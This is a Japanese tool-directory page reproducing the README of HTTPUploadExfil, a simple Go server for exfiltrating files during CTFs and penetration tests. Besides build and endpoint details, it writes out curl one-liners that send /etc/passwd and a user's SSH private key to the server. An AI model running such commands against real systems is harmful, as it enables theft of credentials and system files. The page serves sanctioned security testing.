Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
HTTPUploadExfil — 例えばCTF中にファイル/データの配信や流出させるためのシンプルなHTTPサーバー。 | Kitploit
ツール/GitHubGitHub/ingokl/httpuploadexfil
データ流出ウェブセキュリティCTFペネトレーションテスト
GitHubingokl/httpuploadexfil

HTTPUploadExfil

例えばCTF中にファイル/データの配信や流出させるためのシンプルなHTTPサーバー。

リポジトリを見る
82181年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

HTTPUploadExfil

HTTPUploadExfil ロゴ

MIT License GitHub stars

HTTPUploadExfil は Go で書かれた(非常に)シンプルな HTTP サーバーで、HTTP を使ってマシンからファイル(やその他の情報)を取得するのに便利です。多くのユースケースがありますが、リスクの低い攻撃シナリオ(CTF など) で使用することを想定しています。

これは python3 -m http.server のデータ取得版と考えてください。マシンにデータを送り込むのではなく、マシンからデータを取り出すためのものです。

もちろん、これは非常に派手で、ある程度制限のあるデータ流出方法です。それでも、SMB や FTP を使うよりは手軽で便利です。もっと洗練された方法をお探しなら、たとえば dnsteal や PyExfil をご覧ください。

TL;DR

  1. go build でツールをビルドします。
  2. 自分のマシンで ./httpuploadexfil :1337 /home/kali/loot を実行します。
  3. データを流出させたいマシンから http://YOUR_IP:1337/ にアクセスします。
  4. アップロードされたファイルは /home/kali/loot にあります。

HTTPs が必要な場合は、以下の情報を参照してください。

GitHub から Linux および Windows 用のバイナリ をダウンロードすることもできます。ただし、これらのバイナリは必ずしも最新の変更を反映しているわけではありません。

ビルドと開発

バイナリは提供されていますが、自分でビルドすることを強くお勧めします。そうすれば最新バージョンを使え、何を実行しているかを正確に把握できます。手順は簡単です:

フォルダ内で go build を実行するだけで、プラットフォーム向けの httpuploadexfil 実行ファイルが得られます。

ツールに変更を加えた場合は、go fmt main.go でフォーマットしてください。

または、make を使ってビルドすることもできます。SSL 証明書を生成するには make cert を実行します(下記参照)。

使い方

最も一般的な使い方は、マシン A でサーバーを実行し、マシン B からブラウザでアップロードフォームにアクセスし、流出させるファイルを選択することです。もちろん、下記のように curl などを使って行うこともできます。

ファイルのアップロード以外にも、HTTPUploadExfil を使って単純な GET リクエストでデータを流出させることもできます。/g エンドポイントにリクエストを送信すると、リクエスト全体がディスクに保存されます。

したがって、リクエストのヘッダーを使ってデータを流出させることができます。GET パラメータ(例:?data=...)を使うのが最も簡単ですが、他の方法もあります。

HTTPUploadExfil

デフォルトでは、HTTPUploadExfil はポート 8080 で提供されます。すべてのファイルはカレントディレクトリに書き込まれます。

./httpuploadexfil

引数を指定することもできます:

./httpuploadexfil :1337 /home/kali/loot

リクエストログが必要な場合は、-log フラグを指定します:

./httpuploadexfil -log

最初の引数はバインドアドレス、2 番目はファイルを保存するフォルダです。

また、このツールは loot ディレクトリ内のファイルを /l エンドポイントで公開します。これはターゲットにファイルを簡単に転送する方法として使用できます。

エンドポイント

Web サーバーは 4 つのエンドポイントを提供します:

  1. / (GET) はアップロードフォームです。
  2. /p (POST) はアップロードフォームからのデータを受け取ります。file フィールドが入力された multipart/form-data リクエストが必要です。
  3. /g (GET) は任意の GET リクエストを受け取り、リクエスト全体をサーバーに保存します。
  4. /l (GET) は指定されたフォルダ内のファイルへのアクセスを提供します(ディレクトリリスト)。これは基本的な python3 -m http.server 機能を提供するためのものです。

HTTPs モード

HTTPUploadExfil は HTTPs モードでも使用できます。そのためには、HTTPUploadExfil.csr と HTTPUploadExfil.key ファイルをバイナリの隣に配置します。これらは以下のように生成できます:

root@kitploit:~
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr

これを行うには、make cert を実行することもできます。

サーバーが HTTPUploadExfil.csr ファイルを検出すると、HTTPs モードで起動しようとします。HTTP に戻すには、証明書ファイルを削除またはリネームしてください。

シェル

Bash を使用すると、GET 経由で次のようにデータを流出させることができます:

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

もちろん、curl を使ってファイルを流出させることもできます:

curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

ToDo

  • HTTPs バージョンの実装(トランスポート暗号化)
  • ダウンロードオプションの追加(つまり python3 -m http.server 機能の提供)
  • リクエストのログ機能の追加
  • ビルドシステム(特に Windows と Linux のクロスコンパイル)
ツールをダウンロード